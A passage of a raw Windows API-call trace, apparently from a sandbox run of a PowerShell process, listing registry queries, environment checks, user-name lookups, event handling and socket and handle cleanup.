lpType=0x1ad36c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1ad368*=0x56) returned 0x0 [0114.475] CoTaskMemFree (pv=0x28942a0) [0114.475] RegCloseKey (hKey=0x334) returned 0x0 [0114.477] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.477] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.478] CoTaskMemFree (pv=0x358750) [0114.526] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.527] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.527] CoTaskMemFree (pv=0x358750) [0114.553] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.553] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.553] CoTaskMemFree (pv=0x358750) [0114.554] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.554] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.554] CoTaskMemFree (pv=0x358750) [0114.554] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.554] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.554] CoTaskMemFree (pv=0x358750) [0114.556] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.556] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.556] CoTaskMemFree (pv=0x358750) [0114.560] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.560] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.560] CoTaskMemFree (pv=0x358750) [0114.560] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.560] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.561] CoTaskMemFree (pv=0x358750) [0114.680] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.680] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.680] CoTaskMemFree (pv=0x358750) [0115.057] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x358b90 [0115.061] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x358ca0 [0115.592] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.592] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.592] CoTaskMemFree (pv=0x358db0) [0115.597] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.597] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.597] CoTaskMemFree (pv=0x358db0) [0115.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0115.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0115.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0115.632] VirtualQuery (in: lpAddress=0x1ab720, lpBuffer=0x1ac5e0, dwLength=0x30 | out: lpBuffer=0x1ac5e0*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0115.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0115.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0115.642] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0115.645] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad578 | out: phkResult=0x1ad578*=0x3ac) returned 0x0 [0115.645] RegQueryValueExW (in: hKey=0x3ac, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ad4fc, lpData=0x0, lpcbData=0x1ad4f8*=0x0 | out: lpType=0x1ad4fc*=0x1, lpData=0x0, lpcbData=0x1ad4f8*=0x56) returned 0x0 [0115.645] CoTaskMemAlloc (cb=0x5a) returned 0x2c21c0 [0115.645] RegQueryValueExW (in: hKey=0x3ac, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ad4cc, lpData=0x2c21c0, lpcbData=0x1ad4c8*=0x56 | out: lpType=0x1ad4cc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1ad4c8*=0x56) returned 0x0 [0115.645] CoTaskMemFree (pv=0x2c21c0) [0115.645] RegCloseKey (hKey=0x3ac) returned 0x0 [0115.645] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad578 | out: phkResult=0x1ad578*=0x3ac) returned 0x0 [0115.645] RegQueryValueExW (in: hKey=0x3ac, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ad4fc, lpData=0x0, lpcbData=0x1ad4f8*=0x0 | out: lpType=0x1ad4fc*=0x1, lpData=0x0, lpcbData=0x1ad4f8*=0x56) returned 0x0 [0115.645] CoTaskMemAlloc (cb=0x5a) returned 0x2c21c0 [0115.645] RegQueryValueExW (in: hKey=0x3ac, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ad4cc, lpData=0x2c21c0, lpcbData=0x1ad4c8*=0x56 | out: lpType=0x1ad4cc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1ad4c8*=0x56) returned 0x0 [0115.645] CoTaskMemFree (pv=0x2c21c0) [0115.645] RegCloseKey (hKey=0x3ac) returned 0x0 [0115.646] CoTaskMemAlloc (cb=0x20c) returned 0x2b2ad0 [0115.646] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x2b2ad0 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0115.646] CoTaskMemFree (pv=0x2b2ad0) [0115.646] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x1ad130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0115.646] CoTaskMemAlloc (cb=0x20c) returned 0x2b2ad0 [0115.646] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x2b2ad0 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0115.646] CoTaskMemFree (pv=0x2b2ad0) [0115.646] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x1ad130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0115.648] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.648] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.648] CoTaskMemFree (pv=0x358db0) [0115.649] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.649] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.649] CoTaskMemFree (pv=0x358db0) [0115.649] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.649] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.649] CoTaskMemFree (pv=0x358db0) [0115.650] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.650] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.650] CoTaskMemFree (pv=0x358db0) [0115.655] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.655] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.655] CoTaskMemFree (pv=0x358db0) [0115.657] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.657] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.657] CoTaskMemFree (pv=0x358db0) [0115.659] GetStdHandle (nStdHandle=0xfffffff6) returned 0x58 [0115.660] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x1ad6c0 | out: lpMode=0x1ad6c0) returned 0 [0115.661] GetConsoleCP () returned 0x1b5 [0115.753] GetFileType (hFile=0x58) returned 0x3 [0115.757] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.757] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.757] CoTaskMemFree (pv=0x358db0) [0115.939] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x310 [0115.940] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x328 [0115.943] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.943] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.943] CoTaskMemFree (pv=0x358db0) [0115.948] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad488 | out: phkResult=0x1ad488*=0x33c) returned 0x0 [0115.948] RegQueryValueExW (in: hKey=0x33c, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x1ad40c, lpData=0x0, lpcbData=0x1ad408*=0x0 | out: lpType=0x1ad40c*=0x0, lpData=0x0, lpcbData=0x1ad408*=0x0) returned 0x2 [0116.015] ReadFile (in: hFile=0x58, lpBuffer=0x306e550, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x1ad458, lpOverlapped=0x0 | out: lpBuffer=0x306e550*, lpNumberOfBytesRead=0x1ad458*=0x4f, lpOverlapped=0x0) returned 1 [0116.030] SetEvent (hEvent=0x3ac) returned 1 [0116.030] SetEvent (hEvent=0x35c) returned 1 [0116.030] ReadFile (in: hFile=0x58, lpBuffer=0x306e550, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x1ad458, lpOverlapped=0x0 | out: lpBuffer=0x306e550, lpNumberOfBytesRead=0x1ad458*=0x0, lpOverlapped=0x0) returned 0 [0116.031] SetEvent (hEvent=0x384) returned 1 [0116.031] SetEvent (hEvent=0x3ac) returned 1 [0116.031] SetEvent (hEvent=0x35c) returned 1 [0125.132] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0 [0125.132] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x370 [0125.132] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x398 [0125.132] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b8 [0125.132] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3bc [0125.132] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4d8 [0125.132] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3c0 [0125.132] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3c4 [0125.133] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x414 [0125.133] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x418 [0125.133] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4e4 [0125.133] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x478 [0125.134] SetEvent (hEvent=0x3b8) returned 1 [0125.134] SetEvent (hEvent=0x4e0) returned 1 [0125.134] SetEvent (hEvent=0x370) returned 1 [0125.134] SetEvent (hEvent=0x398) returned 1 [0125.134] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6d8 [0125.134] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad4a8 | out: phkResult=0x1ad4a8*=0x6dc) returned 0x0 [0125.134] RegQueryValueExW (in: hKey=0x6dc, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x1ad42c, lpData=0x0, lpcbData=0x1ad428*=0x0 | out: lpType=0x1ad42c*=0x0, lpData=0x0, lpcbData=0x1ad428*=0x0) returned 0x2 [0125.160] SetEvent (hEvent=0x3bc) returned 1 [0125.160] SetEvent (hEvent=0x4d8) returned 1 [0125.160] SetEvent (hEvent=0x3c0) returned 1 [0125.166] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0125.166] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0125.166] CoTaskMemFree (pv=0x2e23a0) [0125.177] SetEvent (hEvent=0x324) returned 1 [0125.178] CoTaskMemAlloc (cb=0x804) returned 0x2cccd0 [0125.178] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2cccd0, nSize=0x1ad548 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ad548) returned 0x1 [0125.178] CoTaskMemFree (pv=0x2cccd0) [0125.178] CoTaskMemAlloc (cb=0x204) returned 0x387c60 [0125.178] GetUserNameW (in: lpBuffer=0x387c60, pcbBuffer=0x1ad588 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ad588) returned 1 [0125.179] CoTaskMemFree (pv=0x387c60) [0125.180] ReportEventW (hEventLog=0x1b7f0008, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x34f21b8*="Stopped", lpRawData=0x34f1f48) returned 1 [0125.180] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0125.183] CoGetContextToken (in: pToken=0x1af110 | out: pToken=0x1af110) returned 0x0 [0125.183] CObjectContext::QueryInterface () returned 0x0 [0125.183] CObjectContext::GetCurrentThreadType () returned 0x0 [0125.183] Release () returned 0x0 [0125.185] CoGetContextToken (in: pToken=0x1aece0 | out: pToken=0x1aece0) returned 0x0 [0125.185] CObjectContext::QueryInterface () returned 0x0 [0125.185] CObjectContext::GetCurrentThreadType () returned 0x0 [0125.185] Release () returned 0x0 [0125.198] CoGetContextToken (in: pToken=0x1aece0 | out: pToken=0x1aece0) returned 0x0 [0125.198] CObjectContext::QueryInterface () returned 0x0 [0125.199] CObjectContext::GetCurrentThreadType () returned 0x0 [0125.199] Release () returned 0x0 [0125.205] CoGetContextToken (in: pToken=0x1aece0 | out: pToken=0x1aece0) returned 0x0 [0125.205] CObjectContext::QueryInterface () returned 0x0 [0125.205] CObjectContext::GetCurrentThreadType () returned 0x0 [0125.205] Release () returned 0x0 [0125.271] CoGetContextToken (in: pToken=0x1aecd0 | out: pToken=0x1aecd0) returned 0x0 [0125.271] CObjectContext::QueryInterface () returned 0x0 [0125.271] CObjectContext::GetCurrentThreadType () returned 0x0 [0125.271] Release () returned 0x0 [0125.273] CoUninitialize () Thread: id = 98 os_tid = 0xb70 Thread: id = 99 os_tid = 0xb74 Thread: id = 100 os_tid = 0xb7c Thread: id = 101 os_tid = 0xb94 Thread: id = 102 os_tid = 0xb98 [0106.039] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0112.780] LocalFree (hMem=0x327570) returned 0x0 [0112.780] CloseHandle (hObject=0x328) returned 1 [0112.781] CloseHandle (hObject=0x13) returned 1 [0112.781] CloseHandle (hObject=0x3) returned 1 [0112.782] RegCloseKey (hKey=0x314) returned 0x0 [0112.782] RegCloseKey (hKey=0x310) returned 0x0 [0112.782] RegCloseKey (hKey=0x30c) returned 0x0 [0112.783] LocalFree (hMem=0x327540) returned 0x0 [0112.783] RegCloseKey (hKey=0x334) returned 0x0 [0114.186] RegCloseKey (hKey=0x378) returned 0x0 [0114.186] RegCloseKey (hKey=0x374) returned 0x0 [0114.186] RegCloseKey (hKey=0x370) returned 0x0 [0114.187] RegCloseKey (hKey=0x36c) returned 0x0 [0114.187] RegCloseKey (hKey=0x368) returned 0x0 [0114.187] RegCloseKey (hKey=0x364) returned 0x0 [0114.188] RegCloseKey (hKey=0x360) returned 0x0 [0114.188] RegCloseKey (hKey=0x3a8) returned 0x0 [0114.188] RegCloseKey (hKey=0x3a4) returned 0x0 [0114.188] RegCloseKey (hKey=0x350) returned 0x0 [0114.189] RegCloseKey (hKey=0x34c) returned 0x0 [0114.189] RegCloseKey (hKey=0x348) returned 0x0 [0114.189] RegCloseKey (hKey=0x344) returned 0x0 [0114.190] RegCloseKey (hKey=0x340) returned 0x0 [0114.190] RegCloseKey (hKey=0x33c) returned 0x0 [0114.190] RegCloseKey (hKey=0x328) returned 0x0 [0114.190] RegCloseKey (hKey=0x310) returned 0x0 [0114.191] RegCloseKey (hKey=0x30c) returned 0x0 [0114.191] RegCloseKey (hKey=0x3a0) returned 0x0 [0114.191] RegCloseKey (hKey=0x39c) returned 0x0 [0114.191] RegCloseKey (hKey=0x37c) returned 0x0 [0114.192] RegCloseKey (hKey=0x3b0) returned 0x0 [0114.192] RegCloseKey (hKey=0x394) returned 0x0 [0114.192] RegCloseKey (hKey=0x390) returned 0x0 [0114.193] RegCloseKey (hKey=0x38c) returned 0x0 [0114.193] RegCloseKey (hKey=0x388) returned 0x0 [0114.193] RegCloseKey (hKey=0x384) returned 0x0 [0114.194] RegCloseKey (hKey=0x380) returned 0x0 [0114.194] RegCloseKey (hKey=0x35c) returned 0x0 [0114.194] RegCloseKey (hKey=0x3ac) returned 0x0 [0114.195] RegCloseKey (hKey=0x334) returned 0x0 [0116.668] RegCloseKey (hKey=0x33c) returned 0x0 [0123.536] CloseHandle (hObject=0x478) returned 1 [0123.537] CertFreeCRLContext (pCrlContext=0x3ad910) returned 1 [0123.538] CertFreeCRLContext (pCrlContext=0x1c7f3010) returned 1 [0123.538] CertFreeCRLContext (pCrlContext=0x1c7f2f90) returned 1 [0123.539] CloseHandle (hObject=0x4e4) returned 1 [0123.539] CertCloseStore (hCertStore=0x28c7c40, dwFlags=0x0) returned 1 [0123.540] CloseHandle (hObject=0x418) returned 1 [0123.540] CloseHandle (hObject=0x414) returned 1 [0123.541] CertFreeCRLContext (pCrlContext=0x3ad910) returned 1 [0123.541] CloseHandle (hObject=0x3c4) returned 1 [0123.541] CertFreeCRLContext (pCrlContext=0x3ad990) returned 1 [0123.542] CloseHandle (hObject=0x3c0) returned 1 [0123.542] CloseHandle (hObject=0x4d8) returned 1 [0123.542] CloseHandle (hObject=0x3bc) returned 1 [0123.543] CloseHandle (hObject=0x3b8) returned 1 [0123.543] CloseHandle (hObject=0x398) returned 1 [0123.544] CloseHandle (hObject=0x370) returned 1 [0123.544] CloseHandle (hObject=0x4e0) returned 1 [0123.544] CloseHandle (hObject=0x36c) returned 1 [0123.545] CloseHandle (hObject=0x368) returned 1 [0123.545] CloseHandle (hObject=0x364) returned 1 [0123.546] CloseHandle (hObject=0x360) returned 1 [0123.546] CertFreeCRLContext (pCrlContext=0x3ada10) returned 1 [0123.546] CloseHandle (hObject=0x3a4) returned 1 [0123.547] CloseHandle (hObject=0x3a8) returned 1 [0123.547] CloseHandle (hObject=0x47c) returned 1 [0123.547] CloseHandle (hObject=0x33c) returned 1 [0125.191] LocalFree (hMem=0x358ca0) returned 0x0 [0125.191] LocalFree (hMem=0x358b90) returned 0x0 [0125.193] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x34f2570, cbSid=0x1b46ee10 | out: pSid=0x34f2570*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b46ee10) returned 1 [0125.193] CreateMutexW (lpMutexAttributes=0x34f2728, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ec [0125.193] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0x1f4) returned 0x0 [0125.194] ReleaseMutex (hMutex=0x3ec) returned 1 [0125.194] CloseHandle (hObject=0x3ec) returned 1 [0125.194] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x34f2a80, cbSid=0x1b46ee10 | out: pSid=0x34f2a80*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b46ee10) returned 1 [0125.194] CreateMutexW (lpMutexAttributes=0x34f2c38, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ec [0125.194] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0x1f4) returned 0x0 [0125.194] ReleaseMutex (hMutex=0x3ec) returned 1 [0125.194] CloseHandle (hObject=0x3ec) returned 1 [0125.195] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x34f2f90, cbSid=0x1b46ee10 | out: pSid=0x34f2f90*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b46ee10) returned 1 [0125.195] CreateMutexW (lpMutexAttributes=0x34f3148, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ec [0125.195] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0x1f4) returned 0x0 [0125.195] ReleaseMutex (hMutex=0x3ec) returned 1 [0125.195] CloseHandle (hObject=0x3ec) returned 1 [0125.195] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x34f34a0, cbSid=0x1b46ee10 | out: pSid=0x34f34a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b46ee10) returned 1 [0125.195] CreateMutexW (lpMutexAttributes=0x34f3658, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ec [0125.196] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0x1f4) returned 0x0 [0125.196] ReleaseMutex (hMutex=0x3ec) returned 1 [0125.196] CloseHandle (hObject=0x3ec) returned 1 [0125.196] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x34f39b0, cbSid=0x1b46ee40 | out: pSid=0x34f39b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b46ee40) returned 1 [0125.196] CreateMutexW (lpMutexAttributes=0x34f3b68, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3ec [0125.196] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0x1f4) returned 0x0 [0125.196] ReleaseMutex (hMutex=0x3ec) returned 1 [0125.196] CloseHandle (hObject=0x3ec) returned 1 [0125.198] DeleteAtom (nAtom=0xc000) returned 0x0 [0125.199] FindAtomW (lpString="GDI+Atom_2908_1") returned 0x0 [0125.205] DeregisterEventSource (hEventLog=0x1b7f0008) returned 1 [0125.223] setsockopt (s=0x4e8, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0125.223] closesocket (s=0x4e8) returned 0 [0125.224] FindAtomW (lpString="GDI+Atom_2908_1") returned 0x0 [0125.253] setsockopt (s=0x428, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0125.254] closesocket (s=0x428) returned 0 [0125.254] CloseHandle (hObject=0x42c) returned 1 [0125.254] CloseHandle (hObject=0x3a0) returned 1 [0125.255] CloseHandle (hObject=0x39c) returned 1 [0125.255] CloseHandle (hObject=0x37c) returned 1 [0125.255] CloseHandle (hObject=0x3b0) returned 1 [0125.256] CloseHandle (hObject=0x394) returned 1 [0125.256] CloseHandle (hObject=0x390) returned 1 [0125.256] CloseHandle (hObject=0x38c) returned 1 [0125.257] CloseHandle (hObject=0x388) returned 1 [0125.257] CloseHandle (hObject=0x384) returned 1 [0125.257] CloseHandle (hObject=0x380) returned 1 [0125.258] CloseHandle (hObject=0x35c) returned 1 [0125.258] CloseHandle (hObject=0x3ac) returned 1 [0125.258] setsockopt (s=0x41c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0125.258] closesocket (s=0x41c) returned 0 [0125.259] CloseHandle (hObject=0x424) returned 1 [0125.260] setsockopt (s=0x4f4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0125.260] closesocket (s=0x4f4) returned 0 [0125.260] CloseHandle (hObject=0x4dc) returned 1 [0125.261] DeleteSecurityContext (phContext=0x1b46eb70) returned 0x0 [0125.261] FreeCredentialsHandle (phCredential=0x1b46eba0) returned 0x0 [0125.262] RegCloseKey (hKey=0x6dc) returned 0x0 [0125.262] CloseHandle (hObject=0x6d8) returned 1 [0125.263] CloseHandle (hObject=0x478) returned 1 [0125.263] CloseHandle (hObject=0x4e4) returned 1 [0125.263] CloseHandle (hObject=0x418) returned 1 [0125.264] CloseHandle (hObject=0x414) returned 1 [0125.264] CloseHandle (hObject=0x3c4) returned 1 [0125.264] CloseHandle (hObject=0x3c0) returned 1 [0125.264] CloseHandle (hObject=0x4d8) returned 1 [0125.265] CloseHandle (hObject=0x3bc) returned 1 [0125.265] CloseHandle (hObject=0x3b8) returned 1 [0125.265] CloseHandle (hObject=0x398) returned 1 [0125.265] CloseHandle (hObject=0x370) returned 1 [0125.266] CloseHandle (hObject=0x4e0) returned 1 [0125.266] CloseHandle (hObject=0x3) returned 1 [0125.267] setsockopt (s=0x4fc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0125.267] closesocket (s=0x4fc) returned 0 [0125.267] CloseHandle (hObject=0x500) returned 1 [0125.267] CloseHandle (hObject=0x324) returned 1 [0125.268] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0125.268] CloseHandle (hObject=0x2f4) returned 1 [0125.268] UnmapViewOfFile (lpBaseAddress=0x1b7c0000) returned 1 [0125.269] CloseHandle (hObject=0x330) returned 1 Thread: id = 105 os_tid = 